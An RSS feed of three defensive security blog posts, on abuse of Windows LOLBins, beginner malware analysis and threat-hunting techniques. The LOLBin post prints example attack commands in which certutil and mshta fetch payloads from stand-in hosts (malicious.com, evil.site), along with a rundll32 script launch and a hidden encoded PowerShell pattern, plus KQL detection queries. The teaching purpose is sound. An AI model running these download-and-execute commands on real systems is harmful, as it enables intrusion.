<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Ravi Sharma]]></title><description><![CDATA[Ravi Sharma]]></description><link>https://ravi-sharma.hashnode.dev</link><generator>RSS for Node</generator><lastBuildDate>Tue, 08 Sep 2026 22:57:17 GMT</lastBuildDate><atom:link href="https://ravi-sharma.hashnode.dev/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Living off the Land Binaries (LOLBins): A Deep Dive into Fileless Attack Techniques
Introduction]]></title><description><![CDATA[Introduction
Modern adversaries don't always rely on custom malware to breach a network. Instead, they often use what's already available on the target system. This tactic is called Living off the Land (LotL), and the tools they use are legitimate bi...]]></description><link>https://ravi-sharma.hashnode.dev/living-off-the-land-binaries-lolbins-a-deep-dive-into-fileless-attack-techniques-introduction</link><guid isPermaLink="true">https://ravi-sharma.hashnode.dev/living-off-the-land-binaries-lolbins-a-deep-dive-into-fileless-attack-techniques-introduction</guid><dc:creator><![CDATA[Ravi Sharma]]></dc:creator><pubDate>Tue, 15 Jul 2025 10:58:22 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1752576926238/ff34d060-c556-4f68-b1df-31d17bcab6e7.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h4 id="heading-introduction"><strong>Introduction</strong></h4>
<p>Modern adversaries don't always rely on custom malware to breach a network. Instead, they often use what's already available on the target system. This tactic is called Living off the Land (LotL), and the tools they use are legitimate binaries already present in the OS are known as LOLBins.</p>
<p> In this Depp-Dive blog, we’ll explore :</p>
<ul>
<li><p><em>What LOLBins are and why they matter</em></p>
</li>
<li><p><em>How attackers use them in real-world campaigns</em></p>
</li>
<li><p><em>Technical examples of abuse</em></p>
</li>
<li><p><em>detection techniques and SIEM queries</em></p>
</li>
<li><p><em>MITRE ATT&amp;CK mappings</em></p>
</li>
<li><p><em>Hardening strategies for defenders</em></p>
</li>
</ul>
<h4 id="heading-what-are-lolbins">What Are LOLBins?</h4>
<p>LOLBins (Living off the Land Binaries) are legitimate executables or scripts, often part of Windows or installed software, that attackers can abuse to perform malicious actions without dropping traditional malware.</p>
<p>They’re used in fileless attacks, where no new binaries are written to disk, making them extremely difficult to detect using signature-based tools like antivirus or EDR.</p>
<h4 id="heading-why-use-lolbins">Why Use LOLBins?</h4>
<ul>
<li><p>Trust by the system — Not flagged by security tools due to their legitimacy </p>
</li>
<li><p>Blends into normal activity — Execution looks like Normal admin tasks</p>
</li>
<li><p>No binary dropped to disk — Leaves fewer artifacts, making forensic investigation harder </p>
</li>
<li><p>Available across systems — Most binaries exist across all Windows environments</p>
</li>
</ul>
<h4 id="heading-real-world-examples-of-lolbin-usage">Real-World Examples of LOLBin Usage</h4>
<p><strong>Case: FIN7 Abuse of</strong> mshta.exe</p>
<p>FIN7, a well-known financially motivated group, has been observed using mshta.exe to download and execute remote malicious HTA payloads that launch PowerShell scripts to establish persistence and C2 communication.</p>
<p>This technique bypasses application whitelisting and avoids dropping new binaries.</p>
<h4 id="heading-commonly-abused-lolbins-and-deep-technical-examples">Commonly Abused LOLBins and Deep Technical Examples</h4>
<p>Certuil.exe</p>
<ul>
<li><p>Purpose: Certificate utility </p>
</li>
<li><p>Location: c:\windows\system32\certutil.exe</p>
</li>
<li><p>MITRE Tactic: T1105 — Ingress Tool Transfer </p>
</li>
</ul>
<p><strong>Abused For:</strong> </p>
<ul>
<li><p>Downloading Payloads</p>
</li>
<li><p>Encoding/Decoding files</p>
</li>
</ul>
<p><strong>Examples:</strong> certutil.exe -urlcache -split -f <a target="_blank" href="http://malicious.com/payload.exe">http://malicious.com/payload.exe</a> payload.exe</p>
<p><strong>Detection:</strong> </p>
<ul>
<li><p>Monitor network connections initiated by certutil</p>
</li>
<li><p>Look for certutil writing .exe, .ps1, or .bat files</p>
</li>
<li><p>Flag: When it appears outside certificate-related use cases</p>
</li>
</ul>
<p><strong>mshta.exe</strong></p>
<ul>
<li><p>Purpose: Executes HTML Applications(.hta)</p>
</li>
<li><p>MITRE Technique: T1218.005 — Signed Binary Proxy Execution: Mshta</p>
</li>
</ul>
<p><strong>Abuse for:</strong> </p>
<ul>
<li><p>Executing remote JavaScript/VBScript</p>
</li>
<li><p>Bypassing Application Whitelisting</p>
</li>
</ul>
<p><strong>Example:</strong> mshta.exe “<a target="_blank" href="http://evil.site/malicious.hta">http://evil.site/malicious.hta</a>"</p>
<p><strong>Detection:</strong> </p>
<ul>
<li><p>Alert on mshta reaching out to external URLs </p>
</li>
<li><p>Rarely used in Modern environments, any execution may be suspicious </p>
</li>
<li><p>Correlate parent processes (e.g., spawned by Word or Excel)</p>
</li>
</ul>
<p><strong>rundll32.exe</strong></p>
<ul>
<li><p>Purpose: Runs functions exported from DLLs</p>
</li>
<li><p>MITRE Technique: T1218.011 — Rundll32</p>
</li>
</ul>
<p><strong>Abuse for:</strong></p>
<ul>
<li><p>Code execution via DLL side-loading or COM objects</p>
</li>
<li><p>Running shellcode or scripts through DLL proxying</p>
</li>
</ul>
<p><strong>Example:</strong> </p>
<p>rundll32.exe javascript:”..\mshtml,RunHTMLApplication”;eval(“new ActiveXObject(‘WScript.Shell’).Run(‘cmd.exe’)”)</p>
<p><strong>Detection:</strong></p>
<ul>
<li><p>Flag rundll32 spawning Powershell or CMD</p>
</li>
<li><p>Look for DLLs loaded from user directories, temp folders</p>
</li>
</ul>
<p><strong>Powershell.exe/pwsh.exe:</strong></p>
<ul>
<li><p>Purpose: Command line shell and scripting language</p>
</li>
<li><p>MITRE Technique: T1059.001 — PowerShell, T1086 — Obfuscated Files or Information</p>
</li>
</ul>
<p><strong>Abuse for:</strong> </p>
<ul>
<li><p>Downloading and executing payloads</p>
</li>
<li><p>In-memory execution (fileless Malware)</p>
</li>
<li><p>Obfuscated command execution</p>
</li>
</ul>
<p><strong>Example:</strong> powershell.exe -nop -w hidden -enc &lt;base64_string&gt;</p>
<p><strong>Detection:</strong> </p>
<ul>
<li><p>PowerShell running encoded (-enc) or obfuscated commands</p>
</li>
<li><p>Logs: Event ID 4104 (Script Block Logging), 4688 (Process Creation)</p>
</li>
</ul>
<h4 id="heading-behavioural-hunting-tips">Behavioural Hunting Tips</h4>
<ul>
<li><p>WINWORD.EXE spawning Powershell.exe</p>
</li>
<li><p>Explorer.exe spawning Certutil.exe</p>
</li>
<li><p>LOLBins spawned by Office macros or scripts</p>
</li>
</ul>
<h4 id="heading-time-of-day-analysis">Time-of-Day Analysis</h4>
<ul>
<li><p>LOLBins executed during non-business hours</p>
</li>
<li><p>Executions outside patch/update cycles</p>
</li>
</ul>
<h4 id="heading-execution-context">Execution Context</h4>
<ul>
<li>Monitor LOLBins being executed from: </li>
</ul>
<p>1- Temp folders</p>
<p>2- User profile directories</p>
<p>3- Non-admin processes</p>
<h4 id="heading-sample-siem-queries">Sample SIEM Queries</h4>
<p>Here are sample detection rules for <strong>Microsoft Sentinel / Kusto Query Language (KQL)</strong>:</p>
<ol>
<li><strong>Detect certutil.exe downloading files:</strong></li>
</ol>
<p>DeviceProcessEvents<br />| where FileName == “certutil.exe”<br />| where ProcessCommandLine contains “http”</p>
<p><strong>2. Detect mshta.exe from unknown sources:</strong></p>
<p>DeviceProcessEvents<br />| where FileName == “mshta.exe”<br />| where ProcessCommandLine contains “http” or ProcessCommandLine contains “script”</p>
<p><strong>3. Detect encoded PowerShell:</strong></p>
<p>DeviceProcessEvents<br />| where FileName in (“powershell.exe”, “pwsh.exe”)<br />| where ProcessCommandLine contains “-enc” or ProcessCommandLine contains “FromBase64String”</p>
<h4 id="heading-hardening-against-lolbins">Hardening Against LOLBins</h4>
<ol>
<li>Use Application Control</li>
</ol>
<ul>
<li>AppLocker or Windows Defender Application Control (WDAC) to block unused system binaries </li>
</ul>
<p>2. PowerShell Constrained Mode</p>
<ul>
<li>Force PowerShell into Constrained Language Mode for non-admin users</li>
</ul>
<p>3. Disable Unused LOLBins</p>
<ul>
<li>Rename or restrict access to tools like mshta.exe, certutil.exe, wmic.exe if not needed</li>
</ul>
<p>4. Enable Logging</p>
<ul>
<li>Sysmon, PowerShell logging (Module &amp; ScriptBlock), Audit Process Creation (Event ID 4688)</li>
</ul>
<p>5. Build Threat Hunt Use Cases</p>
<ul>
<li>Regularly run playbooks to search for LOLBin abuse patterns</li>
</ul>
<h4 id="heading-final-thoughts">Final Thoughts</h4>
<p><strong>LOLBins are not vulnerabilities, they’re features.</strong> But when abused by attackers, they become stealthy, powerful weapons that are hard to detect.</p>
<p>As defenders and threat hunters, our goal should be to:</p>
<ul>
<li><p>Know which LOLBins exist in our environment</p>
</li>
<li><p>Monitor their behaviour</p>
</li>
<li><p>Build baselines and alert on anomalies</p>
</li>
<li><p>Educate teams about their risk</p>
</li>
</ul>
<p>Fileless threats aren’t coming — they’re already here. Understanding LOLBins is your first step toward better defence.</p>
]]></content:encoded></item><item><title><![CDATA[Malware Analysis for Beginners: How to Investigate a Suspicious File]]></title><description><![CDATA[In today’s world of cybersecurity, malware isn’t just a buzzword; it’s an everyday reality. From ransomware attacks crippling organizations to stealthy spyware hiding in personal devices, malicious software has become one of the most common tools for...]]></description><link>https://ravi-sharma.hashnode.dev/malware-analysis-for-beginners-how-to-investigate-a-suspicious-file</link><guid isPermaLink="true">https://ravi-sharma.hashnode.dev/malware-analysis-for-beginners-how-to-investigate-a-suspicious-file</guid><category><![CDATA[#reverseengineering  #malware  #staticanalysis  #dynamicanalysis  #sandboxing  #cyberforensics]]></category><category><![CDATA[#siem  #qradar  #microsoftsentinel  #soc  #loganalysis  #securityanalytics  #kql]]></category><category><![CDATA[#cybersecurity  #threathunting  #malwareanalysis  #blueTeam  #infosec  #edrbypass  #threatintel  #mitreattack  #dfir  #incidentresponse]]></category><dc:creator><![CDATA[Ravi Sharma]]></dc:creator><pubDate>Wed, 09 Jul 2025 19:48:27 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1752089731263/a1381ae7-94f3-4376-a6cd-9432f3d9ce97.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>In today’s world of cybersecurity, malware isn’t just a buzzword; it’s an everyday reality. From ransomware attacks crippling organizations to stealthy spyware hiding in personal devices, malicious software has become one of the most common tools for attackers.</p>
<p>But here’s the good news: You don’t need to be a reverse engineering guru to start understanding how malware works. With the right approach, tools, and mindset, anyone in the cybersecurity field can start learning the basics of <strong>malware analysis</strong>.</p>
<p>In this blog, I’ll break down a beginner-friendly guide to analysing suspicious files even if you’re just getting started in Threat Hunting, Incident Response, or SOC operations.</p>
<h2 id="heading-what-is-malware-analysis">What is Malware Analysis?</h2>
<p>Malware Analysis is the process of examining malicious software to:</p>
<ul>
<li><p>Understand how it works</p>
</li>
<li><p>Identify its behaviour</p>
</li>
<li><p>Detect indicators of compromise (IOCs)</p>
</li>
<li><p>Develop strategies for prevention and response</p>
</li>
</ul>
<p>It’s like being a digital detective, breaking down how attackers design their tools and spotting hidden dangers before they spread.</p>
<h2 id="heading-types-of-malware-analysis">Types of Malware Analysis</h2>
<p>There are two main approaches to analysing malware:</p>
<h3 id="heading-1-static-analysis-examining-the-file-without-running-it"><strong>1 Static Analysis — Examining the file without running it</strong></h3>
<ul>
<li><p>You look at the file structure, strings, and metadata</p>
</li>
<li><p>It’s safer and quicker for basic insights</p>
</li>
<li><p>Great for identifying simple malware traits</p>
</li>
</ul>
<h3 id="heading-2-dynamic-analysis-observing-behaviour-by-executing-the-file-in-a-controlled-environment-sandbox"><strong>2 Dynamic Analysis — Observing behaviour by executing the file in a controlled environment (sandbox)</strong></h3>
<ul>
<li><p>You watch how the malware behaves: processes, network activity, file changes</p>
</li>
<li><p>Helps uncover hidden or obfuscated behaviour</p>
</li>
<li><p>Requires strict isolation to avoid infecting your system</p>
</li>
</ul>
<p>As a beginner, it’s smart to start with <strong>static analysis</strong>, then move to dynamic techniques once you're confident.</p>
<h2 id="heading-basic-static-malware-analysis-step-by-step"><strong>Basic Static Malware Analysis: Step-by-Step</strong></h2>
<p>Let’s say you’ve been handed a suspicious <code>.exe</code> file during a security investigation. Here’s how you can safely start analysing it:</p>
<h3 id="heading-step-1-check-the-file-hashes">Step 1: Check the File Hashes</h3>
<p>Always generate cryptographic hashes (MD5, SHA256) for identification.</p>
<p>Example tools:</p>
<p><strong>certutil -hashfile malware.exe SHA256</strong></p>
<p><strong>VirusTotal</strong></p>
<p>By uploading a file to VirusTotal and cross-referencing it with a list of detections from various antivirus programs, the analyst will discover whether the sample is malicious or not. This process also provides information regarding the file, such as SHA256, MD5, file size, signature info, section details, imports, etc.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752087141093/cf81c95b-8bfd-4977-bed5-d4ec13831726.png" alt class="image--center mx-auto" /></p>
<p>This helps you:</p>
<ul>
<li><p>Compare against known malware databases</p>
</li>
<li><p>Share samples securely with your team</p>
</li>
<li><p>Maintain integrity during analysis</p>
</li>
</ul>
<h3 id="heading-step-2-inspect-the-strings"><strong>Step 2: Inspect the Strings</strong></h3>
<p>Extracting readable text from the binary often reveals valuable clues.</p>
<p>Example: <code>strings malware.exe</code></p>
<p>String analysis is the process of extracting readable ASCII and Unicode characters from the binary. Not all the strings found are used by the program; attackers may also include fake strings to disrupt the investigation</p>
<p>Tools used for string analysis:</p>
<p>• Strings2 – command-line utility, Windows 32bit/64bit executable, is used for extracting strings from binary data. This application is an improved version of the classic Sysinternals strings approach and can also dump strings from process address spaces. At the time of writing, Strings2 could be downloaded from the following link: <a target="_blank" href="https://github.com/glmcdona/strings2">https://github.com/glmcdona/strings2</a></p>
<p>• Flare-Floss (obfuscated string solver) - combines and automates different techniques to perform string decoding. At the time of writing, the Floss tool could be downloaded from the following link: <a target="_blank" href="https://github.com/fireeye/flare-floss">https://github.com/fireeye/flare-floss</a></p>
<h3 id="heading-step-3-review-metadata"><strong>Step 3: Review Metadata</strong></h3>
<p>Tools like <strong>PEStudio</strong> or <strong>Detect It Easy (DIE)</strong> can reveal:</p>
<ul>
<li><p>Compiler information</p>
</li>
<li><p>File type and structure</p>
</li>
<li><p>Suspicious sections within the binary</p>
</li>
</ul>
<p>Sometimes malware authors forget to clean up metadata, exposing their development environment or tactics.</p>
<p><strong>PEStudio</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752088201047/1927391f-1b7e-499b-a34e-2383f354f2a7.png" alt class="image--center mx-auto" /></p>
<p><strong>PEiD Tool</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752088260101/3d64b35a-b994-442d-ab48-f137a3917af3.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-dynamic-malware-analysis-basics"><strong>Dynamic Malware Analysis Basics</strong></h2>
<p>Unlike static malware analysis, dynamic malware analysis is conducted by analysing the code while it is running. To study the behaviour of the executable, running it inside a virtual lab environment is recommended. To understand the functionality of the malware and prevent it from spreading, reverse engineers use debuggers when performing advanced dynamic malware analysis</p>
<p>What to monitor:</p>
<ul>
<li><p>New processes spawned</p>
</li>
<li><p>Registry modifications</p>
</li>
<li><p>Network connections established</p>
</li>
<li><p>File system changes</p>
</li>
</ul>
<p>Tools to help:</p>
<ul>
<li><p><strong>Procmon</strong> — Tracks system activity</p>
</li>
<li><p><strong>Wireshark</strong> — Captures network traffic</p>
</li>
<li><p><strong>Process Explorer</strong> — Monitors running processes</p>
</li>
</ul>
<p><strong>Important:</strong> Never run malware on your main system. Use a dedicated, snapshot-enabled VM disconnected from your production network.</p>
<h3 id="heading-indicators-to-watch-during-analysis">Indicators to Watch During Analysis</h3>
<p>Whether static or dynamic, look out for these signs:</p>
<ul>
<li><p>Suspicious outbound connections</p>
</li>
<li><p>Creation of hidden files or directories</p>
</li>
<li><p>Attempts to disable security tools</p>
</li>
<li><p>Persistence mechanisms (autorun entries)</p>
</li>
</ul>
<p>Document all findings; they’ll be critical for creating detection rules, updating threat intelligence, or informing incident response actions.</p>
<h3 id="heading-final-thoughts"><strong>Final Thoughts</strong></h3>
<p>Malware analysis might sound intimidating at first, but breaking it down into small, manageable steps makes it approachable for anyone.</p>
<p>Start small:</p>
<ul>
<li><p>Practice static analysis on harmless files</p>
</li>
<li><p>Build a safe lab for observing real malware samples</p>
</li>
<li><p>Stay curious — every sample tells a story</p>
</li>
</ul>
<h3 id="heading-lets-connect"><strong>Let’s Connect</strong></h3>
<p><a target="_blank" href="http://www.linkedin.com/in/ravi-sharma-17472316b">www.linkedin.com/in/ravi-sharma-17472316b</a></p>
<p><a target="_blank" href="https://github.com/ravi160/ravi160">https://github.com/ravi160/ravi160</a></p>
]]></content:encoded></item><item><title><![CDATA[Threat Hunting for Beginners: 5 Practical Techniques You Should Master]]></title><description><![CDATA[In the world of cybersecurity, being reactive isn’t enough anymore. Attackers are getting smarter, stealthier, and more persistent. Even with the best firewalls, antivirus, and security monitoring in place, threats can still sneak in and often go und...]]></description><link>https://ravi-sharma.hashnode.dev/threat-hunting-for-beginners-5-practical-techniques-you-should-master</link><guid isPermaLink="true">https://ravi-sharma.hashnode.dev/threat-hunting-for-beginners-5-practical-techniques-you-should-master</guid><category><![CDATA[#cybersecurity]]></category><category><![CDATA[ThreatDetection]]></category><category><![CDATA[Threat Hunting]]></category><category><![CDATA[#CyberThreatIntel, #ProactiveSecurit, #ThreatHuntingNow, #DarkWebInsights, #AIforCyberDefense, #InfoSecEvolution, #StopThreatsFast, #TISForTheWin, #SecureWithIntel, #SmartCyberMoves]]></category><category><![CDATA[malware analysis]]></category><category><![CDATA[Malware]]></category><dc:creator><![CDATA[Ravi Sharma]]></dc:creator><pubDate>Tue, 01 Jul 2025 08:38:30 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1751279834139/346e909d-465b-453f-b68d-8139b312bba6.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>In the world of cybersecurity, being reactive isn’t enough anymore. Attackers are getting smarter, stealthier, and more persistent. Even with the best firewalls, antivirus, and security monitoring in place, threats can still sneak in and often go undetected.</p>
<p>That’s why <strong>Threat Hunting</strong> has become such an essential skill for cybersecurity professionals. It’s not about waiting for alerts, it’s about actively searching for hidden threats in your environment before they cause damage.</p>
<p>In this blog, I’ll share five practical techniques that I use for threat hunting. Whether you’re new to cybersecurity or already working in SOC, Incident Response, or Malware Analysis, these tips will help sharpen your detection game.</p>
<h2 id="heading-what-is-threat-hunting"><strong>What is Threat Hunting?</strong></h2>
<p>Before diving in, let’s clear this up: Threat Hunting is the process of proactively searching for signs of malicious activity that your existing security tools might have missed. It’s part investigation, part research, and part intuition.</p>
<p>Think of it like being a detective in your network, following digital footprints, connecting the dots, and uncovering suspicious behaviours before they escalate</p>
<h2 id="heading-1-watch-how-processes-are-created">1. Watch How Processes Are Created:</h2>
<p>Attackers love exploiting how processes run in a system. Malicious programs often disguise themselves by masquerading as legitimate applications. Looks strange, right? Does Microsoft Word start a command prompt that then launches PowerShell? Classic sign of a macro-based attack or exploitation attempt.</p>
<p>As a threat hunter, you should always monitor process creation events, paying close attention to:</p>
<ul>
<li><p><code>cmd.exe</code> launching PowerShell</p>
</li>
<li><p><code>powershell.exe</code> executing encoded commands</p>
</li>
<li><p>Suspicious parent-child relationships</p>
</li>
<li><p>Unexpected command-line arguments</p>
</li>
<li><p>Processes executing from unusual directories</p>
<p>  The more you understand normal process behaviour in your environment, the easier it becomes to spot the anomalies.</p>
</li>
</ul>
<p><strong>Example:</strong><br /><code>WINWORD.EXE → CMD.EXE → PowerShell</code> It is suspicious and is often seen in malware delivery.</p>
<h3 id="heading-hunting-tip"><strong>Hunting Tip:</strong></h3>
<p>Use tools like <strong>Sysmon</strong>, <strong>EDR solutions</strong>, or your SIEM (e.g., QRadar, Sentinel) to track process creation events</p>
<h2 id="heading-2-monitor-registry-changes"><strong>2.</strong> Monitor Registry Changes<strong>:</strong></h2>
<p>The Windows Registry is often targeted by attackers for persistence, meaning they change registry keys so their malware runs every time the system boots up.</p>
<p>Here’s a common trick:<br />Malware might add itself to:</p>
<ul>
<li><p><code>Run</code> and <code>RunOnce</code> keys for autoruns</p>
</li>
<li><p>Changes under <code>HKLM\Software\Microsoft\Windows\CurrentVersion</code></p>
</li>
</ul>
<p>This ensures it silently runs in the background every time a user logs in.</p>
<p>As a threat hunter, keep an eye on registry modifications, especially:</p>
<ul>
<li><p>Autorun keys</p>
</li>
<li><p>Registry entries pointing to unknown executables</p>
</li>
<li><p>Obfuscated or base64-encoded registry values</p>
</li>
</ul>
<p>It might seem basic, but many advanced attacks rely on these small, overlooked changes to stay hidden.</p>
<p><strong>Tip:</strong> Investigate unknown or base64-encoded registry values.</p>
<h2 id="heading-3-hunt-for-lolbins-living-off-the-land-binaries"><strong>3. Hunt for LOLBins (Living off the Land Binaries):</strong></h2>
<p>One of the smartest tactics attackers use today is turning your system tools against you. It’s called Living off the Land, abusing legitimate Windows binaries (LOLBins) to carry out attacks without raising suspicion.</p>
<p>Examples include:</p>
<ul>
<li><p><code>certutil.exe</code> — used for downloading malicious payloads</p>
</li>
<li><p><code>mshta.exe</code> — executing harmful scripts</p>
</li>
<li><p><code>rundll32.exe</code> — Loading malicious DLL files</p>
</li>
</ul>
<p>Why do attackers love LOLBins? Because they’re trusted by the system, often whitelisted by security tools, and blend right in with normal activity.</p>
<p>Your job is to spot when these tools are behaving abnormally, like being launched from strange directories or with suspicious parameters.</p>
<h2 id="heading-4-analyse-powershell-activity"><strong>4. Analyse PowerShell Activity:</strong></h2>
<p>PowerShell is incredibly powerful — and unfortunately, a favourite for attackers too. With a single encoded command, they can download malware, run scripts, or gain unauthorised access.</p>
<p>If you’re hunting threats, pay close attention to:</p>
<ul>
<li><p>Commands using <code>-enc</code> or <code>-EncodedCommand</code></p>
</li>
<li><p>Scripts that download files via <code>Invoke-WebRequest</code> or <code>IEX</code></p>
</li>
<li><p>Obfuscated or base64-encoded payloads</p>
</li>
</ul>
<p>For instance, this PowerShell command should raise an eyebrow:</p>
<p><strong><mark>powershell.exe -enc &lt;very long, suspicious encoded string&gt;</mark></strong></p>
<p>Make sure you have PowerShell logging enabled and actively review command line activity. It’s one of the easiest ways to catch stealthy attacks early.</p>
<h2 id="heading-5-track-suspicious-network-connections"><strong>5. Track Suspicious Network Connections:</strong></h2>
<p>At some point, most attacks involve communication with the outside world, whether it’s downloading additional payloads or exfiltrating stolen data.</p>
<p>That’s why monitoring outbound connections is critical.</p>
<p>Look for:</p>
<ul>
<li><p>Unusual destinations — rare countries or geographies</p>
</li>
<li><p>Connections to non-standard ports (like <code>4444</code> or <code>1337</code>)</p>
</li>
<li><p>Traffic to known malicious IPs or domains</p>
</li>
</ul>
<p>Combining network monitoring with threat intelligence feeds helps identify suspicious connections before they lead to bigger problems.</p>
<h2 id="heading-final-thoughts"><strong>Final Thoughts:</strong></h2>
<p>Threat hunting isn’t about relying on tools alone; it’s about curiosity, critical thinking, and understanding how attackers operate.</p>
<p>These five techniques, process monitoring, registry hunting, LOLBin detection, PowerShell analysis, and network tracking, form a strong foundation for any threat hunting effort.</p>
<p>Even if you’re just starting in cybersecurity, practising these skills can set you apart and prepare you for real-world challenges.</p>
<p>Stay tuned for my upcoming blogs where I’ll share hands-on examples, real incident case studies, and tips to level up your cybersecurity knowledge.</p>
<h3 id="heading-thanks-for-reading-and-remember-always-hunt-before-they-hit"><strong>Thanks for reading, and remember, always hunt before they hit.</strong></h3>
]]></content:encoded></item></channel></rss>